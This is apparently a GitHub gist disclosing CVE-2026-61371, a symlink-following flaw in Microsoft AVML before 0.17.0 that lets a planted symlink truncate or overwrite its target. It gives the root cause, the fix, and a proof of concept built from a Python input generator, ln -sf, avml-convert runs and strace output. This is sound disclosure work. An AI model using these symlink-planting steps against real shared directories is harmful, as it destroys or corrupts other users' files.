Skip to content

Instantly share code, notes, and snippets.

@thesmartshadow
Last active July 10, 2026 21:54
Show Gist options
  • Select an option

  • Save thesmartshadow/2d099071f847de8db3dc4bbaf4dfa6df to your computer and use it in GitHub Desktop.

Select an option

Save thesmartshadow/2d099071f847de8db3dc4bbaf4dfa6df to your computer and use it in GitHub Desktop.
CVE-2026-61371 - Microsoft AVML symlink following on destination output open (CWE-59)

CVE-2026-61371

Microsoft AVML symlink following on destination output open (CWE-59)

Microsoft AVML before 0.17.0 could follow a symlink when opening a destination output path on Unix. If the destination path is a symlink, AVML follows it and truncates or overwrites the symlink target. The destructive open happens through O_TRUNC at open time, and it occurs before the input is fully validated. An invalid input still leaves the target truncated to zero, which is why this is described as truncation before validation.

Affected and fixed

Affected: all versions before 0.17.0, including the 0.16.x line.

Fixed: 0.17.0. The fix adds O_NOFOLLOW to the Unix destination open so AVML no longer follows a symlink when creating the output file.

Vulnerability details

Product: Microsoft AVML (microsoft/avml)

Type: CWE-59, Improper Link Resolution Before File Access

Impact: integrity and availability. The symlink target is truncated or overwritten with the privileges of the process running AVML, including the case where AVML later exits with an error after the truncation has already taken place.

Threat model: a local user who can create or replace the destination path with a symlink before AVML opens it. This is most relevant on shared or staging output directories used in forensic and incident response workflows, where the output path is often predictable and writable by more than one user.

Root cause

On Unix, the destination output path is opened using OpenOptions with create and truncate set, and without any open time symlink restriction.

OpenOptions::new()
    .create(true)
    .truncate(true)
    .write(true)
    .open(path)

Because there is no O_NOFOLLOW at open time, a symlink at the destination path is followed and its target is truncated. The truncation is applied by the kernel the moment the file is opened, so a parsing failure later in the pipeline does not undo it.

Pre fix code paths (commit 2732a12):

Destination open in open_dst: https://github.com/microsoft/avml/blob/2732a12a0ee4ef7179b191ee1663e3a9d455d3ee/src/image.rs#L191-L199

Early destination open in Image::new, where truncation happens before validation: https://github.com/microsoft/avml/blob/2732a12a0ee4ef7179b191ee1663e3a9d455d3ee/src/image.rs#L207-L234

CLI call sites in avml-convert: https://github.com/microsoft/avml/blob/2732a12a0ee4ef7179b191ee1663e3a9d455d3ee/src/bin/avml-convert.rs#L19-L45

Proof of concept

The following runs in a controlled directory against a harmless victim file. It shows two things: a symlink target being overwritten, and the same target being truncated even when the input is invalid and the tool exits with an error.

Build:

cargo build --release

Create a minimal valid LiME input with a one byte payload:

python3 - <<'PY'
import struct
LIME_MAGIC = 0x4c694d45  # "EMiL" little-endian
version = 1
start = 0
end_inclusive = 0
padding = 0
payload = b'X'
with open("in.lime", "wb") as f:
    f.write(struct.pack("<IIQQQ", LIME_MAGIC, version, start, end_inclusive, padding))
    f.write(payload)
print("wrote in.lime")
PY

Case 1, symlink target overwrite with valid input:

printf "SAFE_TEST_FILE\n" > victim.txt
ln -sf victim.txt out.lime
./target/release/avml-convert --source-format lime --format lime_compressed in.lime out.lime
hexdump -C victim.txt | head

Result: victim.txt no longer contains its original text. Its content now begins with the LiME header EMiL, proving the symlink target was written through.

Case 2, truncation before validation with invalid input:

printf "SAFE_TEST_FILE\n" > victim.txt
ln -sf victim.txt out.lime
printf "NOT_A_LIME\n" > bad.lime
./target/release/avml-convert --source-format lime --format lime_compressed bad.lime out.lime; echo "exit=$?"
ls -l victim.txt

Result: the tool exits with a non zero status because the input is not valid LiME, yet victim.txt is already size zero. The destination was truncated at open time before the input was rejected.

Syscall evidence

Capturing the relevant syscalls:

strace -o trace.log -f -e trace=openat,openat2,ftruncate,truncate,write \
  ./target/release/avml-convert --source-format lime --format lime_compressed in.lime out.lime || true
grep -E 'openat2?\(|out\.lime|O_TRUNC|write\(' trace.log

The destination is opened with O_TRUNC and without O_NOFOLLOW, then written:

openat(AT_FDCWD, "out.lime", O_WRONLY|O_CREAT|O_TRUNC|O_CLOEXEC, 0600) = 4
write(4, "EMiL\1\0\0\0...", 32) = 32
write(4, "X", 1) = 1

The absence of O_NOFOLLOW is the core of the issue. The kernel resolves the symlink and truncates the target as part of the open call.

The fix

The upstream fix adds O_NOFOLLOW to the Unix destination open through custom_flags, so a symlink at the destination path causes the open to fail instead of following the link.

Pull request: microsoft/avml#754

Files changed, showing custom_flags(O_NOFOLLOW): https://github.com/microsoft/avml/pull/754/files

Release with the fix: https://github.com/microsoft/avml/releases/tag/v0.17.0

Credit

Reported by Ali Firas (thesmartshadow)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment